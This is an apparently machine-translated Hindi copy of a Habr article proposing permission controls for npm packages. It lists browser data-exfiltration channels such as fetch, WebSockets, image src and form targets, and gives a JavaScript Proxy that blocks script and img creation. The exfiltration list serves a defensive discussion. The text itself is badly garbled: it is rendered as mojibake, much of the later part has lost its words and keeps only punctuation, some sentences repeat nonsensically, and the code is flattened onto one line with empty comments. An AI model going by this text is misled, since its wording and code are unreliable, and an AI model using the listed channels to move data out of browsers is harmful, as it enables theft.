рдЗрд╕реА рддрд░рд╣, "рдЖрдВрддрд░рд┐рдХ" рдФрд░ "рдмрд╛рд╣рд░реА" рдбрд┐рд╕реНрдХ рдПрдХреНрд╕реЗрд╕ рдХреЗ рдмреАрдЪ рдЕрдВрддрд░ рдХрд░рдирд╛ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдореИрдВ рдХрд╛рдлреА рдЦреБрд╢ рд╣реВрдВ рдХрд┐ node-sass рдХреЛ рдореЗрд░реА рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рднреАрддрд░ рд╕реНрдерд┐рдд рд╕рд╛рдордЧреНрд░рд┐рдпреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдореБрдЭреЗ рдХреЛрдИ рдХрд╛рд░рдг рдирд╣реАрдВ рд╣реИ рдХрд┐ рдЗрд╕ рдкреИрдХреЗрдЬ рдХреЛ рдЗрд╕ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рдмрд╛рд╣рд░ рдХрд┐рд╕реА рднреА рдЪреАрдЬ рддрдХ рдкрд╣реБрдВрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

рд╢рд╛рдпрдж, рдЕрдиреБрдорддрд┐ рдкреНрд░рдгрд╛рд▓реА рдХреА рд╢реБрд░реБрдЖрдд рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ, рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдореЗрдВ @npm/permissions рдкреИрдХреЗрдЬ рдХреЛ рдЬреЛрдбрд╝рдирд╛ рд╣реЛрдЧрд╛ред рд╢рд╛рдпрдж, рд╕рдВрдХреНрд░рдордг рдХрд╛рд▓ тАЛтАЛрдХреЗ рджреМрд░рд╛рди, рдЕрдкрд░рд┐рд╣рд╛рд░реНрдп рдЦрд░рд╛рдмреА рдХреЗ рдЙрдиреНрдореВрд▓рди рдХреЗ рджреМрд░рд╛рди, рдЗрд╕ рддрд░рд╣ рдХреЗ рддрдВрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдПрдХрдорд╛рддреНрд░ рдЙрдЪрд┐рдд рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╣реИред рд▓реЗрдХрд┐рди рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕реБрд░рдХреНрд╖рд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдпрд╣ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ рдЗрд╕ рдкреИрдХреЗрдЬ рдХреЛ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдХрд╕рдХрд░ рдПрдХреАрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рдП, рдХреНрдпреЛрдВрдХрд┐ рдкреИрдХреЗрдЬ рд╕реНрдерд╛рдкрдирд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╕рдордп рдЗрд╕реЗ рдЦрд╛рддреЗ рдХреА рдЕрдиреБрдорддрд┐ рд▓реЗрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реЛрдЧрд╛ред

рдлрд┐рд░, рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ, рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рд╣реИ рдХрд┐ рдлреЙрд░реНрдо рдХрд╛ рдПрдХ рд╕рд░рд▓ рдХрдорд╛рдВрдб "enforcePermissions": true рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЗ package.json рдореЗрдВ "enforcePermissions": true рд╣реИред рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреА "enforcePermissions": true рдлрд╝рд╛рдЗрд▓ рдПрдирдкреАрдПрдо рдХреЛ рдЙрдирдХреЗ рджреНрд╡рд╛рд░рд╛ рдШреЛрд╖рд┐рдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рдЬрдмрд░рди рдЙрдкрдпреЛрдЧ рдХреЗ рд╕рд╛рде рдХрд┐рд╕реА рднреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП "enforcePermissions": true ред

Safe рд╡рд┐рдХрд▓реНрдк 2: рд╕реБрд░рдХреНрд╖рд┐рдд рдореЛрдб Node.js


Node.js рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХрд╛ рд╡рд┐рд╢реЗрд╖ рдореЛрдб, рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдмрдврд╝реЗ рд╣реБрдП рд╕реНрддрд░ рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИ, рдЬрд╛рд╣рд┐рд░ рд╣реИ, рдЕрдзрд┐рдХ рдЧрдВрднреАрд░ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред рд▓реЗрдХрд┐рди рд╢рд╛рдпрдж рд▓рдВрдмреЗ рд╕рдордп рдореЗрдВ, Node.js рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд╕реНрд╡рдпрдВ рдкреНрд░рддреНрдпреЗрдХ рдкреИрдХреЗрдЬ рджреНрд╡рд╛рд░рд╛ рдШреЛрд╖рд┐рдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ред

рдПрдХ рдУрд░, рдореБрдЭреЗ рдкрддрд╛ рд╣реИ рдХрд┐ рдЬреЛ рд▓реЛрдЧ Node.js рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд╡рд┐рдХрд╕рд┐рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рд╡реЗ рдЗрд╕ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдХреА рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ, рдФрд░ npm рд╕рдВрдХреБрд▓ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдореЗрд░реЗ рд╡рд┐рдЪрд╛рд░ рдЙрдирдХреЗ рд╣рд┐рддреЛрдВ рдХреЗ рджрд╛рдпрд░реЗ рд╕реЗ рдкрд░реЗ рд╣реИрдВред рд╕рдм рдХреЗ рдмрд╛рдж, рдЕрдВрдд рдореЗрдВ, npm рд╕рд┐рд░реНрдл рддрдХрдиреАрдХ рд╣реИ рдЬреЛ Node.js. рджреВрд╕рд░реА рдУрд░, Node.js рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЙрд░реНрдкреЛрд░реЗрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЗрд╕ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдореЗрдВ рдЖрддреНрдорд╡рд┐рд╢реНрд╡рд╛рд╕ рдорд╣рд╕реВрд╕ рдХрд░рдиреЗ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ, рдФрд░ рд╕реБрд░рдХреНрд╖рд╛, рд╕рдВрднрд╡рддрдГ, Node.js рдХреЗ рдЙрди рдкрд╣рд▓реБрдУрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ "рд╕рдореБрджрд╛рдп" рдкрд░ рдирд╣реАрдВ рдЫреЛрдбрд╝рд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред

рдЗрд╕рд▓рд┐рдП, рдЬрдмрдХрд┐ рд╣рдордиреЗ рдЬреЛ рдХреБрдЫ рднреА рдмрд╛рдд рдХреА рдереА, рд╡рд╣ рдмрд╣реБрдд рд╕рд░рд▓ рд▓рдЧ рд░рд╣рд╛ рдерд╛ рдФрд░ рдЗрд╕ рддрдереНрдп рд╕реЗ рдЙрдмрд▓рд╛ рд╣реБрдЖ рдерд╛ рдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдПрдХ рдпрд╛ рджреВрд╕рд░реЗ рддрд░реАрдХреЗ рд╕реЗ рдиреЛрдб рджреНрд╡рд╛рд░рд╛ рд╕рдВрдЪрд╛рд▓рд┐рдд рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдЧрд╛ред

рдЕрдм рдмрд╛рдд рдХрд░рддреЗ рд╣реИрдВ рдмреНрд░рд╛рдЙрдЬрд░реНрд╕ рдХреАред рдпрд╣рд╛рдВ рд╕рдм рдХреБрдЫ рдЗрддрдирд╛ рд╕реНрдкрд╖реНрдЯ рдФрд░ рд╕рдордЭ рдореЗрдВ рдирд╣реАрдВ рдЖрддрд╛ рд╣реИред

рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рдЕрдиреБрд░реЛрдзрд┐рдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╕рдВрдХреБрд▓ рдХреА рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рдкреНрд░рддрд┐рдмрдВрдз


рдкрд╣рд▓реА рдирдЬрд╝рд░ рдореЗрдВ, рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рдкреИрдХреЗрдЬ рдХреА рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рдордЬрдмреВрд░ рдкреНрд░рддрд┐рдмрдВрдз рдФрд░ рднреА рд╕рд░рд▓ рджрд┐рдЦрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдЪрд▓рдиреЗ рд╡рд╛рд▓рд╛ рдХреЛрдб рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрд╕ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ рдмрд╣реБрдд рдХреБрдЫ рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕ рдкрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЪрд▓рддрд╛ рд╣реИред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЖрдкрдХреЛ рдХреЗрд╡рд▓ рдЕрд╕рд╛рдорд╛рдиреНрдп рдкрддреЗ рдкрд░ рдбреЗрдЯрд╛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреИрдХреЗрдЯ рдХреА рдХреНрд╖рдорддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЪрд┐рдВрддрд╛ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

рдпрд╣рд╛рдВ рд╕рдорд╕реНрдпрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ рдбреЗрдЯрд╛ рднреЗрдЬрдиреЗ рдХреЗ рдЕрдирдЧрд┐рдирдд рддрд░реАрдХреЗ рд╣реИрдВред

рдЗрд╕реЗ рдПрдХреНрд╕рдлрд╝рд┐рд▓реНрдЯрд░реЗрд╢рди рдпрд╛ рдбреЗрдЯрд╛ рд░рд┐рд╕рд╛рд╡ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдпрджрд┐ рдЖрдк рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢реЗрд╡рд░ рд╕реЗ рдкреВрдЫрддреЗ рд╣реИрдВ рдХрд┐ рдЗрд╕рд╕реЗ рдХреИрд╕реЗ рдмрдЪрд╛ рдЬрд╛рдП, рддреЛ, рд╡рд╣ рдЙрд╕ рд╡реНрдпрдХреНрддрд┐ рдХреА рдирдЬрд╝рд░ рд╕реЗ рдЬрд┐рд╕рдиреЗ рдмрд╛рд░реВрдж рдХрд╛ рдЖрд╡рд┐рд╖реНрдХрд╛рд░ рдХрд┐рдпрд╛ рдерд╛, рдЖрдкрдХреЛ npm рдХрд╛ рдЙрдкрдпреЛрдЧ рдмрдВрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣реЗрдЧрд╛ред

рдореЗрд░рд╛ рдорд╛рдирдирд╛ тАЛтАЛрд╣реИ рдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдкреИрдХреЗрдЬреЛрдВ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдХреЗрд╡рд▓ рдПрдХ рд╕рдВрдХрд▓реНрдк рдкрд░ рдзреНрдпрд╛рди рджреЗрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ - рд╡рд╣ рдЬреЛ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИред рдЪрд▓реЛ рдЗрд╕реЗ network рдХрд╣рддреЗ рд╣реИрдВред рдЗрд╕ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЕрдиреНрдп рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ (рдЬреИрд╕реЗ рдХрд┐ рдЬреЛ DOM рдпрд╛ рд╕реНрдерд╛рдиреАрдп рд╕рдВрдЧреНрд░рд╣рдг рддрдХ рдкрд╣реБрдБрдЪ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ), рд▓реЗрдХрд┐рди рдпрд╣рд╛рдБ рдореИрдВ рдЗрд╕ рдзрд╛рд░рдгрд╛ рд╕реЗ рдЖрдЧреЗ рдмрдврд╝рддрд╛ рд╣реВрдБ рдХрд┐ рд╣рдорд╛рд░реА рдореБрдЦреНрдп рдЪрд┐рдВрддрд╛ рдбреЗрдЯрд╛ рд░рд┐рд╕рд╛рд╡ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИред

рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реЗ рдбреЗрдЯрд╛ рдХреЛ рдХрдИ рддрд░реАрдХреЛрдВ рд╕реЗ "рд╣рдЯрд╛рдпрд╛" рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣рд╛рдВ рдореИрдВ 60 рд╕реЗрдХрдВрдб рдореЗрдВ рдпрд╛рдж рдХрд░ рд╕рдХрддрд╛ рд╣реВрдВ:

  • рдПрдкреАрдЖрдИ fetch ред
  • рд╡реЗрдм рд╕реЙрдХреЗрдЯреНрд╕
  • WebRTC рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХреАред
  • EventSource рдХрд╛ EventSource ред
  • XMLHttpRequest рдПрдкреАрдЖрдИ
  • рд╡рд┐рднрд┐рдиреНрди рддрддреНрд╡реЛрдВ рдХреА innerHTML рд╕рдВрдкрддреНрддрд┐ рд╕реЗрдЯ рдХрд░рдирд╛ (рдЖрдк рдирдП рддрддреНрд╡ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ)ред
  • new Image() рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдПрдХ рдЗрдореЗрдЬ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рдирд╛ new Image() рдХрд╛ src рдЧреБрдг рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдиреЗ рдХреЗ рд╕рд╛рдзрди рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрд╡рд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ)ред
  • window.location , window.location рдЗрддреНрдпрд╛рджрд┐ рдХреЛ рд╕реЗрдЯ рдХрд░рдирд╛ред
  • рдореМрдЬреВрджрд╛ рдЫрд╡рд┐ рдХреЗ src рдЧреБрдгреЛрдВ рдХреЛ рдмрджрд▓рдирд╛, iframe рдпрд╛ рдРрд╕рд╛ рдХреБрдЫред
  • <form> рддрддреНрд╡ рдХреА target рд╕рдВрдкрддреНрддрд┐ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрдиред
  • рдЙрдкрд░реЛрдХреНрдд рддрдВрддреНрд░реЛрдВ рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╛ windows рдмрдЬрд╛рдп top рдпрд╛ self рдореЗрдВ рдХреБрдЫ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЪрддреБрд░рд╛рдИ рд╕реЗ рдбрд┐рдЬрд╛рдЗрди рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ windows ред

рдпрд╣ рдзреНрдпрд╛рди рджрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдПрдХ рдЕрдЪреНрдЫреА рд╕рд╛рдордЧреНрд░реА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ (рд╕реАрдПрд╕рдкреА) рдЗрди рдЦрддрд░реЛрдВ рдореЗрдВ рд╕реЗ рдХреБрдЫ рдХреЛ рдмреЗрдЕрд╕рд░ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рдЙрди рд╕рднреА рдкрд░ рд▓рд╛рдЧреВ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИред рдЕрдЧрд░ рдХреЛрдИ рдореБрдЭреЗ рд╕рд╣реА рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдореБрдЭреЗ рдЦреБрд╢реА рд╣реЛрдЧреА, рд▓реЗрдХрд┐рди рдореЗрд░рд╛ рдорд╛рдирдирд╛ тАЛтАЛрд╣реИ рдХрд┐ рдЖрдк рдЗрд╕ рдмрд╛рдд рдкрд░ рдХрднреА рднрд░реЛрд╕рд╛ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рдХрд┐ рд╕реАрдПрд╕рдкреА рдЖрдкрдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд░рд┐рд╕рд╛рд╡ рд╕реЗ рдмрдЪрд╛рдПрдЧрд╛ред рдПрдХ рд╡реНрдпрдХреНрддрд┐ рдиреЗ рдПрдХ рдмрд╛рд░ рдореБрдЭреЗ рдмрддрд╛рдпрд╛ рдерд╛ рдХрд┐ рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рдЦрддрд░реЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реАрдПрд╕рдкреА рд▓рдЧрднрдЧ рдкреВрд░реНрдг рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдкрд░ рдореИрдВрдиреЗ рдЙрддреНрддрд░ рджрд┐рдпрд╛ рдХрд┐ рдЖрдк рдереЛрдбрд╝реА рдЧрд░реНрднрд╡рддреА рдирд╣реАрдВ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ, рдФрд░ рддрдм рд╕реЗ рд╣рдордиреЗ рдЗрд╕ рд╡реНрдпрдХреНрддрд┐ рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдирд╣реАрдВ рдХрд┐рдпрд╛ рд╣реИред

рдпрджрд┐ рдЖрдк рдмреБрджреНрдзрд┐рдорд╛рдиреА рд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реЗ рдбреЗрдЯрд╛ рдЪреБрд░рд╛рдиреЗ рдХреЗ рддрд░реАрдХреЛрдВ рдХреА рдЦреЛрдЬ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдореБрдЭреЗ рдпрдХреАрди рд╣реИ рдХрд┐ рдЗрди рд╡рд┐рдзрд┐рдпреЛрдВ рдХреА рдПрдХ рдкреВрд░реА рд╕реВрдЪреА рдмрдирд╛рдирд╛ рдХрд╛рдлреА рдпрдерд╛рд░реНрдерд╡рд╛рджреА рд╣реИред

рдЕрдм рд╣рдореЗрдВ рдРрд╕реА рд╕реВрдЪреА рд╕реЗ рдЕрд╡рд╕рд░реЛрдВ рдХреЗ рдЙрдкрдпреЛрдЧ рдкрд░ рд░реЛрдХ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рддрдВрддреНрд░ рдЦреЛрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

Webpack (, @npm/permissions-webpack-plugin ), :

  • browser package-permissions.json , npm- ( - , ).
  • , , , API, .

(, Parcel, Rollup, Browserify ).

, , -. , , , , , .

, ( Lodash, Moment, ), . .

.

 //   (),   ,    function bigFrameworkWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //      const firstDiv = document.querySelector('div'); //    }, }; return module; } //   ( ),   ,    function smallUtilWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //  !     const firstDiv = document.querySelector('div'); //    }, }; return module; } const restrictedWindow = new Proxy(window, { get(target, prop, receiver) {   if (prop === 'document') {     return new Proxy(target.document, {       get(target, prop, receiver) {         if (prop === 'createElement') {           return new Proxy(window.document.createElement, {             apply(target, thisArg, argumentsList) {               if (['script', 'img', 'audio', 'and-so-on'].includes(argumentsList[0])) {                 console.error('A module without permissions attempted to create a naughty element');                 return false;               }               return target.apply(window.document, argumentsList);             },           });         }         const result = Reflect.get(target, prop, receiver);         if (typeof result === 'function') return result.bind(target);         return result;       },     });   }   return Reflect.get(target, prop, receiver); }, }); const bigFramework = bigFrameworkWrapper(window); bigFramework.doSomething(); //   const smallUtil = smallUtilWrapper(restrictedWindow); smallUtil.doSomething(); // ! "A module without permissions attempted to create a naughty element" 

function bigFrameworkWrapper(newWindow) { function smallUtilWrapper(newWindow) { тАФ , . ┬л┬╗ .

const newScript = document.createElement('script'); // ! , тАФ script .

const bigFramework = bigFrameworkWrapper(window); const smallUtil = smallUtilWrapper(restrictedWindow); ┬л┬╗ . , , .

const restrictedWindow = new Proxy(window, { window , , window , , window.document.createElement DOM .

Proxy .

. , .

, , API, . , , , , , , , , , , ┬л┬╗ .

, , , - .

, , , , Proxy . , 90% , . , , . , - , , , .

, , , , , Node.js .


, , HTTP , , , -. рдпрд╣ рд╕рдордЭ рдореЗрдВ рдЖрддрд╛ рд╣реИред

-, , , . iframe , . sandbox , , . , , , -.

, , sandbox <script> . : <script src="/some-package.js" sandbox="allow-exfiltration allow-whatevs"><script> . , , , - create-react-app , 1.4 , .

, npm , .

, - .

, , - ┬л ...┬╗, , , ?

рдкрд░рд┐рдгрд╛рдо


, , , , . , 90% , , , 10% тАФ , .

, , - .

рдкреНрд░рд┐рдп рдкрд╛рдардХреЛрдВ! , , npm, -?

Source: https://habr.com/ru/post/hi433010/


All Articles